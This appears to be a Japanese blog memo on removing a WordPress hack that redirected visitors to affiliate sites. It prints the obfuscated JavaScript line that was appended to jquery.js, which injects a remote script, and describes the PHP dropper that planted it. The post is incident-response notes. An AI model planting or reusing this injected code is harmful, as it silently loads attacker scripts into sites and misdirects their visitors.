wordpressでの海外リダイレクトのハッキング事例
備忘録。
お客様のWPがハッキングされて海外サイトにリダイレクトされる設定になっていた。
ベタな htaccess によるものかと思いきや、htaccessには特に記述は見当たらず。
リダイレクトは
https://go.padsdel.com/afu.php?id=473791
に先ずされた後に、ハッカーのアフィリエイト先とされる様々なサイトにリダイレクトされる。
海外サイトがメインだけど、日本のヤフーショッピングに飛ばされたりなどもした。
で、 https://go.padsdel.com/afu.php?id=473791 で調べると似たような情報がでてくるわけですな。
wordpressにデフォルトで設置されている jquery.js が書き換えられていた
今回のハッキングは、結論からいうと
/wp-includes/js/jquery/jquery.js
の最後の一行に
var _0xaae8=[“”,”\x6A\x6F\x69\x6E”,”\x72\x65\x76\x65\x72\x73\x65″,”\x73\x70\x6C\x69\x74″,”\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C”,”\x77\x72\x69\x74\x65″];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]))
という文字列が挿入されていた。
この一行を削除したら、リダイレクトは無くなった。
この文字列はエンコードしないとわからないようになっていて、恐らくはハッキングコードの除去の際に検索でURLなどの文字列がヒットしない様に、この形になっていると思われる。
で、どうやってこの書き換えが実行されていたか。
wordpressの設置ディレクトリと同列のディレクトリ内に content という見慣れないフォルダが。
その中に recure.php というファイルが入っていました。
content/recure.php
中のコードをみると、シンプルながらも、自分に権限のあるディレクトリをサーバ上位からすべて検索していって、 jquery.php というファイルがあれば、先ほどのエンコードされた文字列を最後を改行して挿入し上書き保存をするという実行ファイルでした。
このファイルもあわせて削除。
どうやってこのハッキングファイルが設置されたか
毎回、これが最大の問題なわけなんですよね。
主な原因は
- FTP情報の流出
- wordpressの脆弱性をついた攻撃
- ユーザーが設定できる範囲での、サーバー設定の脆弱性
- ユーザーが設定できない範囲での、サーバー管理者の責任によるサーバーの脆弱性
とりあえずコチラ側ですぐ対応できることは、1への対策でFTPパスワードを変更させること。
次に2への対策で、WPを最新版にアップデートさせる。
3は思い当たる点があれば行う程度。
大問題は4です。
これ、サーバーって企業が運営してれば安全って思う方が多いと思うけど、本当に有名サーバー会社でもザルすぎるセキュリティ設定で、ハッキングされまくりだったりすることが多いです。
でも、サーバー会社の責任でも、それをユーザーが証明する手立てって無いわけですよ、ログはすべてサーバー会社側でしか確認できないし。
なので、法人が運営するウェブサイトを持つ際は、サーバー選びというのは本当に重要です。
個人的にはカゴヤかさくらインターネットが、なんとなく信用できるかなって思ってたけど、カゴヤはつい先日顧客情報流出させてたなぁ。
そんな話。
激安中国通販「AliExpress」の解説
日本の相場より半額以下の商品が送料無料で多数!楽天ポイントもついでにゲットする方法など、ウワサのアリエクスプレスをまとめてみました!
関連記事
-
WP RollbackでRollbackボタンが表示されない
テーマのfunction.phpでプラグインの更新を停止してると表示されない。 …
-
wordpressのパーマリンク変更プラグイン「Permalink Redirect」での301ループに要注意
以前の記事で書いた通り、パーマリンクを変更しようとしてPermalink Red …
-
正常に稼動していたwordpressがいきなり500内部サーバエラーになったときの解決法
wordpressで管理しているブログがいきなり500内部サーバーエラーになった …
-
flshow managerを正しく表示させる方法
FLashで手軽にアニメーションをするナビゲートリンクを作る事ができるFlsho …
-
PHP Speedy WPは高速化の効果がなかった
設定によってはプラグインに不具合がでるし、体感速度として特にサイト表示が高速化す …
-
coreserverからさくらVPSにwordpressを移植した時のメモ
興味本位でさくらVPS借りて設定してみたら、なんか普通に使えそうだったので、思い …
-
毎回ホットッペッパピップペッポッピと言われてもありがたみがないので
サイドバーに貼り付けてあったホットペッパーのCMを3回に1回だけランダムで再生さ …
-
[Ktai Entry] EWWW Image Optimizerで画像のExifデータの削除やリサイズがされない
これは恐らくEWWW Image Optimizerが画像処理を行うタイミングの …
-
パーマリンクを変更してみた
笑えるほど順位が激減して復帰もしなさそうだったので、戻しました。 SEO評価戻る …
-
NextGEN Galleryでスライドショーなどが表示されない場合の解決法
主にプラグインのアップデート後ですが、サイトのNextGEN Gallery関連 …